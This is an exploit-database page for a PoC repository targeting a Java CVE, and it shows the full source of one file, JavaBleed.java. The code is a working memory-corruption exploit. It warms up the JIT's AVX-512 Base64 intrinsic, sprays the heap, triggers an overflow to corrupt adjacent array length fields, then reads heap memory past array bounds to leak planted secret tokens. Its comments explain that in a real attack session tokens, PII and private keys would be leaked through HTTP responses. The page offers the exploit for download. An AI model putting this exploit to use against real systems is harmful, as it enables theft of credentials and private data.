Exploit database

GH-0d4f9b516ef973b83b6882db1c307dc6

ikow/java4shell-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-114938

42 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files8
ikow/java4shell-pocRevision 310f62c7fa30

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/JavaBleed.java

Java · 12,048 bytes
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.Base64;

/**
 * Stage 2: Reader Primitive ("JavaBleed") for CVE-2026-114938
 *
 * Extends the writer primitive to build a heap disclosure gadget.
 * Uses a corrupted writer array to extend a second "reader" array's
 * length field, then reads the reader array's contents — which now
 * includes heap memory beyond its original bounds.
 *
 * This is the "JavaBleed" technique from Calif's disclosure:
 * the reader array's contents are returned in an HTTP response,
 * disclosing heap data (session tokens, PII, private keys).
 *
 * REQUIRES: x86-64 with AVX-512 VBMI, JDK 17.0.6+ / 21 / 25 / 27
 */
public final class JavaBleed {

    private static volatile int sink;

    private static final int SPRAY_COUNT = 8192;
    private static final int TARGET_PAD = 128;  // decode target with padding
    private static final int WRITER_SIZE = 64;   // writer array — corruption target
    private static final int READER_SIZE = 64;   // reader array — disclosure target
    private static final int SECRET_SIZE = 64;   // secret data array — what we leak

    public static void main(String[] args) throws Exception {
        System.out.println("=== JavaBleed — Heap Disclosure via CVE-2026-114938 ===");
        System.out.println("runtime=" + System.getProperty("java.runtime.version"));
        System.out.println("vm=" + System.getProperty("java.vm.name"));
        System.out.println();

        Base64.Decoder decoder = Base64.getDecoder();
        byte[] valid = "A".repeat(64).getBytes(StandardCharsets.US_ASCII);
        byte[] malformed = ("A".repeat(64) + "=").getBytes(StandardCharsets.US_ASCII);

        // Phase 1: JIT warmup
        System.out.println("[WARM] Compiling AVX-512 Base64 intrinsic...");
        byte[] warmBuf = new byte[4096];
        for (int i = 0; i < 200_000; i++) {
            sink += decoder.decode(valid, warmBuf);
        }

        // Phase 2: Spray triplets (target, writer, reader) with secrets after reader
        // Layout goal in TLAB:
        //   [target array] [writer array] [reader array] [secret array]
        //   overflow---->  ^corrupts len
        //                  writer OOB--->  ^corrupts reader len
        //                                  reader OOB--->  ^leaks secret
        System.out.println("[SPRAY] Allocating array triplets with embedded secrets...");

        byte[][] targets = new byte[SPRAY_COUNT][];
        byte[][] writers = new byte[SPRAY_COUNT][];
        byte[][] readers = new byte[SPRAY_COUNT][];
        byte[][] secrets = new byte[SPRAY_COUNT][];

        for (int i = 0; i < SPRAY_COUNT; i++) {
            targets[i] = new byte[TARGET_PAD];
            writers[i] = new byte[WRITER_SIZE];
            readers[i] = new byte[READER_SIZE];
            secrets[i] = new byte[SECRET_SIZE];

            // Fill each with distinct sentinels
            Arrays.fill(writers[i], (byte) 0xAA);
            Arrays.fill(readers[i], (byte) 0xBB);

            // Plant "secret" data that simulates session tokens/keys on heap
            // In a real attack, this is whatever the target app has in memory
            byte[] secretData = String.format("SECRET-TOKEN-%04d-KEY", i)
                .getBytes(StandardCharsets.US_ASCII);
            System.arraycopy(secretData, 0, secrets[i], 0,
                Math.min(secretData.length, SECRET_SIZE));
            // Fill rest with recognizable pattern
            for (int j = secretData.length; j < SECRET_SIZE; j++) {
                secrets[i][j] = (byte) (0xC0 | (j & 0x0F));
            }
        }

        // Phase 3: Trigger overflow to corrupt writer arrays
        System.out.println("[TRIGGER] Firing overflow to corrupt writer array lengths...");
        int writerCorrupted = 0;
        int bestWriterIdx = -1;
        int bestWriterLen = 0;

        for (int i = 0; i < SPRAY_COUNT; i++) {
            Arrays.fill(targets[i], (byte) 0x5A);
            int origLen = writers[i].length;

            try {
                decoder.decode(malformed, targets[i]);
            } catch (IllegalArgumentException expected) {
            }

            int newLen = writers[i].length;
            if (newLen != origLen && newLen > origLen && newLen < 100_000) {
                writerCorrupted++;
                if (newLen > bestWriterLen) {
                    bestWriterIdx = i;
                    bestWriterLen = newLen;
                }
            }
        }

        System.out.printf("[TRIGGER] Writer arrays corrupted: %d%n", writerCorrupted);

        if (bestWriterIdx < 0) {
            System.out.println();
            System.out.println("Writer primitive not achieved. Possible causes:");
            System.out.println("  - CPU lacks AVX-512 VBMI");
            System.out.println("  - JDK is patched");
            System.out.println("  - Heap layout misaligned (retry)");
            System.exit(1);
        }

        System.out.printf("[TRIGGER] Best writer: index=%d, original=%d, corrupted=%d%n",
            bestWriterIdx, WRITER_SIZE, bestWriterLen);

        // Phase 4: Use writer to corrupt the adjacent reader's length field
        // The reader array header is at writer[WRITER_SIZE .. WRITER_SIZE+15]
        // (16-byte array header: 8-byte mark word + 4-byte klass + 4-byte length)
        // Length is at header offset 12 (compressed oops) or 16 (uncompressed)
        System.out.println();
        System.out.println("[EXTEND] Using writer to corrupt reader array length...");

        byte[] writer = writers[bestWriterIdx];
        byte[] reader = readers[bestWriterIdx];
        int origReaderLen = reader.length;

        // The reader's length field is at some offset past the writer's original bound
        // We scan for the reader's sentinel pattern (0xBB) to find where it starts,
        // then back up 16 bytes to find the header
        int readerBodyOffset = -1;
        int consecutiveBB = 0;
        for (int off = WRITER_SIZE; off < Math.min(bestWriterLen, WRITER_SIZE + 512); off++) {
            try {
                if (writer[off] == (byte) 0xBB) {
                    consecutiveBB++;
                    if (consecutiveBB >= 8 && readerBodyOffset < 0) {
                        readerBodyOffset = off - consecutiveBB + 1;
                    }
                } else {
                    consecutiveBB = 0;
                }
            } catch (ArrayIndexOutOfBoundsException e) {
                break;
            }
        }

        if (readerBodyOffset < 0) {
            System.out.println("Could not locate reader array in heap.");
            System.out.println("Writer and reader may not be adjacent.");
            System.exit(1);
        }

        System.out.printf("[EXTEND] Reader body found at writer offset %d%n", readerBodyOffset);

        // Length field is 4 bytes before the array body start
        // (In compressed-oops layout: mark[8] + klass[4] + length[4] + body)
        int lengthOffset = readerBodyOffset - 4;
        System.out.printf("[EXTEND] Reader length field at writer offset %d%n", lengthOffset);

        // Read current length value (should be READER_SIZE = 64)
        int currentLen = 0;
        try {
            currentLen = ((writer[lengthOffset] & 0xFF)) |
                         ((writer[lengthOffset + 1] & 0xFF) << 8) |
                         ((writer[lengthOffset + 2] & 0xFF) << 16) |
                         ((writer[lengthOffset + 3] & 0xFF) << 24);
        } catch (ArrayIndexOutOfBoundsException e) {
            System.out.println("Cannot read length field at computed offset.");
            System.exit(1);
        }

        System.out.printf("[EXTEND] Current reader length: %d (expected %d)%n",
            currentLen, READER_SIZE);

        // Corrupt the length to extend it past the secret array
        // New length = READER_SIZE + header(16) + SECRET_SIZE + padding
        int extendedLen = READER_SIZE + 128; // enough to reach into secret
        writer[lengthOffset]     = (byte) (extendedLen & 0xFF);
        writer[lengthOffset + 1] = (byte) ((extendedLen >> 8) & 0xFF);
        writer[lengthOffset + 2] = (byte) ((extendedLen >> 16) & 0xFF);
        writer[lengthOffset + 3] = (byte) ((extendedLen >> 24) & 0xFF);

        System.out.printf("[EXTEND] Reader length set to %d%n", extendedLen);

        // Phase 5: Read beyond the reader's original bounds — JAVABLEED
        System.out.println();
        System.out.println("=== JavaBleed Disclosure ===");
        System.out.printf("Reading reader[%d..%d] (past original %d-byte bound)...%n",
            READER_SIZE, extendedLen - 1, READER_SIZE);

        // Scan for secret data
        StringBuilder leaked = new StringBuilder();
        int leakedBytes = 0;
        boolean foundSecret = false;

        try {
            for (int i = READER_SIZE; i < reader.length; i++) {
                byte b = reader[i];
                leakedBytes++;

                // Check for SECRET-TOKEN pattern
                if (b >= 0x20 && b < 0x7F) {
                    leaked.append((char) b);
                } else {
                    if (leaked.length() > 0) {
                        String fragment = leaked.toString();
                        if (fragment.contains("SECRET-TOKEN")) {
                            System.out.println("[LEAK] Found secret: " + fragment);
                            foundSecret = true;
                        }
                        leaked.setLength(0);
                    }
                }
            }
        } catch (ArrayIndexOutOfBoundsException e) {
            // Length corruption didn't hold or was clamped
        }

        // Check any remaining buffer
        if (leaked.length() > 0) {
            String fragment = leaked.toString();
            if (fragment.contains("SECRET-TOKEN")) {
                System.out.println("[LEAK] Found secret: " + fragment);
                foundSecret = true;
            }
        }

        System.out.println();
        System.out.printf("Bytes disclosed: %d%n", leakedBytes);

        if (foundSecret) {
            System.out.println();
            System.out.println("JAVABLEED CONFIRMED — heap data disclosed past array bounds");
            System.out.println();
            System.out.println("In a real attack:");
            System.out.println("  - Reader array contents are returned in an HTTP response");
            System.out.println("  - Disclosed data includes neighboring heap objects");
            System.out.println("  - Session tokens, PII, private keys are in scope");
        } else if (leakedBytes > 0) {
            System.out.println();
            System.out.println("PARTIAL — read past bounds but secret not in adjacent memory.");
            System.out.println("Heap layout needs refinement. Retry or adjust spray.");
        } else {
            System.out.println();
            System.out.println("Reader extension failed — length corruption not effective.");
        }

        // Hex dump of leaked data
        if (leakedBytes > 0) {
            System.out.println();
            System.out.println("=== Heap Disclosure Hex Dump ===");
            int dumpLen = Math.min(leakedBytes, 256);
            for (int row = 0; row < dumpLen; row += 16) {
                System.out.printf("%04x: ", READER_SIZE + row);
                StringBuilder ascii = new StringBuilder();
                for (int col = 0; col < 16 && (row + col) < dumpLen; col++) {
                    try {
                        byte b = reader[READER_SIZE + row + col];
                        System.out.printf("%02x ", b & 0xFF);
                        ascii.append(b >= 0x20 && b < 0x7F ? (char) b : '.');
                    } catch (ArrayIndexOutOfBoundsException e) {
                        System.out.print("?? ");
                        ascii.append('?');
                    }
                }
                System.out.printf(" |%s|%n", ascii);
            }
        }
    }
}